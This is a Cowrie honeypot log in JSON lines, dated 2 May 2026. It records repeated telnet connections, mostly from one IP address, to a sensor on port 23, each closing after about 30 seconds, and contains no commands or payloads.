{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33626,"dst_ip":"10.17.0.5","dst_port":23,"session":"da5891428c18","protocol":"telnet","message":"New connection: 155.138.226.95:33626 (10.17.0.5:23) [session: da5891428c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:39.103757Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33640,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d96e915c41d","protocol":"telnet","message":"New connection: 155.138.226.95:33640 (10.17.0.5:23) [session: 6d96e915c41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:40.236406Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42584,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb1a024577a2","protocol":"telnet","message":"New connection: 155.138.226.95:42584 (10.17.0.5:23) [session: bb1a024577a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:41.488419Z"}
{"eventid":"cowrie.session.closed","duration":30.469882488250732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:44.019249Z","src_ip":"155.138.226.95","session":"cbf23a4c0566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42594,"dst_ip":"10.17.0.5","dst_port":23,"session":"28efe9673e59","protocol":"telnet","message":"New connection: 155.138.226.95:42594 (10.17.0.5:23) [session: 28efe9673e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:45.272942Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"f30b666e98a8","protocol":"telnet","message":"New connection: 155.138.226.95:42598 (10.17.0.5:23) [session: f30b666e98a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:46.356766Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42636,"dst_ip":"10.17.0.5","dst_port":23,"session":"c47654a61153","protocol":"telnet","message":"New connection: 104.245.105.2:42636 (10.17.0.5:23) [session: c47654a61153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:46.613535Z"}
{"eventid":"cowrie.session.closed","duration":30.477284908294678,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:47.265924Z","src_ip":"155.138.226.95","session":"a0c6018d55d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.006743907928467,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:48.099390Z","src_ip":"155.138.226.95","session":"7d99ab34bef4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42610,"dst_ip":"10.17.0.5","dst_port":23,"session":"836e2e2f4f7e","protocol":"telnet","message":"New connection: 155.138.226.95:42610 (10.17.0.5:23) [session: 836e2e2f4f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:49.805893Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":42620,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a7acaa663ac","protocol":"telnet","message":"New connection: 155.138.226.95:42620 (10.17.0.5:23) [session: 3a7acaa663ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:49.960451Z"}
{"eventid":"cowrie.session.closed","duration":31.830601930618286,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:50.929376Z","src_ip":"155.138.226.95","session":"c240e3e35f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.046419382095337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:53.264429Z","src_ip":"155.138.226.95","session":"b9f6aeaf6ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57042,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c6db079aef","protocol":"telnet","message":"New connection: 155.138.226.95:57042 (10.17.0.5:23) [session: 77c6db079aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:53.705775Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57054,"dst_ip":"10.17.0.5","dst_port":23,"session":"3508cbe9544a","protocol":"telnet","message":"New connection: 155.138.226.95:57054 (10.17.0.5:23) [session: 3508cbe9544a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:54.984565Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57068,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0cf2cb2f146","protocol":"telnet","message":"New connection: 155.138.226.95:57068 (10.17.0.5:23) [session: f0cf2cb2f146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:55.567169Z"}
{"eventid":"cowrie.session.closed","duration":30.327571153640747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:56.164553Z","src_ip":"155.138.226.95","session":"33b0a4d046f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976119995117188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:56.656600Z","src_ip":"155.138.226.95","session":"2455bc0131f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.155930995941162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:56.720594Z","src_ip":"155.138.226.95","session":"8aa5218aab44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873998165130615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:57.243629Z","src_ip":"155.138.226.95","session":"51a7d10d8c73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214325666427612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:58.624442Z","src_ip":"155.138.226.95","session":"f50cddcd3671","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57080,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a686536241","protocol":"telnet","message":"New connection: 155.138.226.95:57080 (10.17.0.5:23) [session: b4a686536241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:58.650586Z"}
{"eventid":"cowrie.session.closed","duration":31.528703689575195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:58.896458Z","src_ip":"155.138.226.95","session":"3c84ee476e2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993666410446167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:59.194227Z","src_ip":"155.138.226.95","session":"a89468e29514","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":57092,"dst_ip":"10.17.0.5","dst_port":23,"session":"c113da4ec79b","protocol":"telnet","message":"New connection: 155.138.226.95:57092 (10.17.0.5:23) [session: c113da4ec79b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:36:59.959774Z"}
{"eventid":"cowrie.session.closed","duration":30.932271242141724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:02.689266Z","src_ip":"155.138.226.95","session":"f90dae284c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97128438949585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:02.808725Z","src_ip":"155.138.226.95","session":"4e761c255830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58048939704895,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:03.250770Z","src_ip":"155.138.226.95","session":"4a538a313887","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33288,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6d4eea15031","protocol":"telnet","message":"New connection: 155.138.226.95:33288 (10.17.0.5:23) [session: c6d4eea15031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:04.380321Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"37f93bcfbf95","protocol":"telnet","message":"New connection: 155.138.226.95:33298 (10.17.0.5:23) [session: 37f93bcfbf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:05.669368Z"}
{"eventid":"cowrie.session.closed","duration":30.583329916000366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:06.104197Z","src_ip":"155.138.226.95","session":"48eca956b0cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":33312,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2af34cfcead","protocol":"telnet","message":"New connection: 155.138.226.95:33312 (10.17.0.5:23) [session: d2af34cfcead]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:06.516532Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52760,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e839de9dd69","protocol":"telnet","message":"New connection: 104.245.105.2:52760 (10.17.0.5:23) [session: 2e839de9dd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:07.725364Z"}
{"eventid":"cowrie.session.closed","duration":30.690037965774536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:08.158324Z","src_ip":"155.138.226.95","session":"9b202202ac41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8558509349823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:08.162560Z","src_ip":"155.138.226.95","session":"759b65ad9ad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538622617721558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:09.191075Z","src_ip":"155.138.226.95","session":"b1c3b4ef66b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94489288330078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:10.048564Z","src_ip":"155.138.226.95","session":"da5891428c18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42538,"dst_ip":"10.17.0.5","dst_port":23,"session":"25618244a32f","protocol":"telnet","message":"New connection: 104.245.105.2:42538 (10.17.0.5:23) [session: 25618244a32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:10.568292Z"}
{"eventid":"cowrie.session.closed","duration":30.975311279296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:11.211586Z","src_ip":"155.138.226.95","session":"6d96e915c41d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":45244,"dst_ip":"10.17.0.5","dst_port":23,"session":"c618658748ac","protocol":"telnet","message":"New connection: 155.138.226.95:45244 (10.17.0.5:23) [session: c618658748ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:13.036848Z"}
{"eventid":"cowrie.session.closed","duration":32.50042271614075,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:13.988746Z","src_ip":"155.138.226.95","session":"bb1a024577a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982457399368286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:16.255281Z","src_ip":"155.138.226.95","session":"28efe9673e59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":45258,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d6e64863508","protocol":"telnet","message":"New connection: 155.138.226.95:45258 (10.17.0.5:23) [session: 2d6e64863508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:17.288919Z"}
{"eventid":"cowrie.session.closed","duration":30.988337516784668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:17.345007Z","src_ip":"155.138.226.95","session":"f30b666e98a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06576132774353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:17.679207Z","src_ip":"104.245.105.2","session":"c47654a61153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112094163894653,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:20.917861Z","src_ip":"155.138.226.95","session":"836e2e2f4f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.440134286880493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:21.400488Z","src_ip":"155.138.226.95","session":"3a7acaa663ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":45874,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef84971db93e","protocol":"telnet","message":"New connection: 155.138.226.95:45874 (10.17.0.5:23) [session: ef84971db93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:23.342603Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.8.24.240","src_port":57497,"dst_ip":"10.17.0.5","dst_port":23,"session":"65dd47458632","protocol":"telnet","message":"New connection: 104.8.24.240:57497 (10.17.0.5:23) [session: 65dd47458632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:24.014220Z"}
{"eventid":"cowrie.session.closed","duration":0.09132266044616699,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:24.105440Z","src_ip":"104.8.24.240","session":"65dd47458632","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.288386583328247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:24.994076Z","src_ip":"155.138.226.95","session":"77c6db079aef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41508913040161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:26.399523Z","src_ip":"155.138.226.95","session":"3508cbe9544a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.403672456741333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:26.970738Z","src_ip":"155.138.226.95","session":"f0cf2cb2f146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":45882,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f2c505ef81","protocol":"telnet","message":"New connection: 155.138.226.95:45882 (10.17.0.5:23) [session: 74f2c505ef81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:28.616197Z"}
{"eventid":"cowrie.session.closed","duration":31.31468939781189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:29.965158Z","src_ip":"155.138.226.95","session":"b4a686536241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43238,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d7cb675de58","protocol":"telnet","message":"New connection: 155.138.226.95:43238 (10.17.0.5:23) [session: 7d7cb675de58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:31.014366Z"}
{"eventid":"cowrie.session.closed","duration":31.942718505859375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:31.902393Z","src_ip":"155.138.226.95","session":"c113da4ec79b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43256,"dst_ip":"10.17.0.5","dst_port":23,"session":"37c92c1ade77","protocol":"telnet","message":"New connection: 155.138.226.95:43256 (10.17.0.5:23) [session: 37c92c1ade77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:33.389974Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43240,"dst_ip":"10.17.0.5","dst_port":23,"session":"8843779d4da9","protocol":"telnet","message":"New connection: 155.138.226.95:43240 (10.17.0.5:23) [session: 8843779d4da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:34.300555Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":56316,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d982d7ea88c","protocol":"telnet","message":"New connection: 64.41.88.162:56316 (159.203.135.109:23) [session: 8d982d7ea88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:34.873227Z"}
{"eventid":"cowrie.session.closed","duration":31.404964208602905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:35.785178Z","src_ip":"155.138.226.95","session":"c6d4eea15031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99089241027832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:36.660127Z","src_ip":"155.138.226.95","session":"37f93bcfbf95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.471022605895996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:37.987460Z","src_ip":"155.138.226.95","session":"d2af34cfcead","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825409173965454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:38.550647Z","src_ip":"104.245.105.2","session":"2e839de9dd69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f16e1352be","protocol":"telnet","message":"New connection: 155.138.226.95:43268 (10.17.0.5:23) [session: 65f16e1352be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:39.097678Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58034,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c725a6c2b31","protocol":"telnet","message":"New connection: 64.41.88.162:58034 (159.203.135.109:23) [session: 1c725a6c2b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:39.508721Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43272,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd22c6f51d6","protocol":"telnet","message":"New connection: 155.138.226.95:43272 (10.17.0.5:23) [session: 7dd22c6f51d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:39.602029Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58196,"dst_ip":"159.203.135.109","dst_port":23,"session":"027e1336cb64","protocol":"telnet","message":"New connection: 64.41.88.162:58196 (159.203.135.109:23) [session: 027e1336cb64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:39.948651Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58364,"dst_ip":"159.203.135.109","dst_port":23,"session":"2118bc67b85c","protocol":"telnet","message":"New connection: 64.41.88.162:58364 (159.203.135.109:23) [session: 2118bc67b85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:40.334591Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58476,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd3db2e51b78","protocol":"telnet","message":"New connection: 64.41.88.162:58476 (159.203.135.109:23) [session: fd3db2e51b78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:40.572394Z"}
{"eventid":"cowrie.session.closed","duration":31.31973123550415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:44.356499Z","src_ip":"155.138.226.95","session":"c618658748ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":36594,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb423519c1f1","protocol":"telnet","message":"New connection: 155.138.226.95:36594 (10.17.0.5:23) [session: cb423519c1f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:46.955617Z"}
{"eventid":"cowrie.session.closed","duration":30.984434366226196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:48.273258Z","src_ip":"155.138.226.95","session":"2d6e64863508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731561422348022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:54.073972Z","src_ip":"155.138.226.95","session":"ef84971db93e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43242,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6abc2a2437e","protocol":"telnet","message":"New connection: 155.138.226.95:43242 (10.17.0.5:23) [session: f6abc2a2437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:55.078753Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43264,"dst_ip":"10.17.0.5","dst_port":23,"session":"0891383f4589","protocol":"telnet","message":"New connection: 155.138.226.95:43264 (10.17.0.5:23) [session: 0891383f4589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:58.504948Z"}
{"eventid":"cowrie.session.closed","duration":48.576210737228394,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:59.144305Z","src_ip":"104.245.105.2","session":"25618244a32f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43248,"dst_ip":"10.17.0.5","dst_port":23,"session":"40dab596ff3b","protocol":"telnet","message":"New connection: 155.138.226.95:43248 (10.17.0.5:23) [session: 40dab596ff3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:59.382483Z"}
{"eventid":"cowrie.session.closed","duration":31.05721402168274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:37:59.673298Z","src_ip":"155.138.226.95","session":"74f2c505ef81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43276,"dst_ip":"10.17.0.5","dst_port":23,"session":"277127da382a","protocol":"telnet","message":"New connection: 155.138.226.95:43276 (10.17.0.5:23) [session: 277127da382a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:00.420342Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":43292,"dst_ip":"10.17.0.5","dst_port":23,"session":"f249c5ecdeaa","protocol":"telnet","message":"New connection: 155.138.226.95:43292 (10.17.0.5:23) [session: f249c5ecdeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:00.463679Z"}
{"eventid":"cowrie.session.connect","src_ip":"155.138.226.95","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"e491f2aed869","protocol":"telnet","message":"New connection: 155.138.226.95:39842 (10.17.0.5:23) [session: e491f2aed869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:38:01.335284Z"}
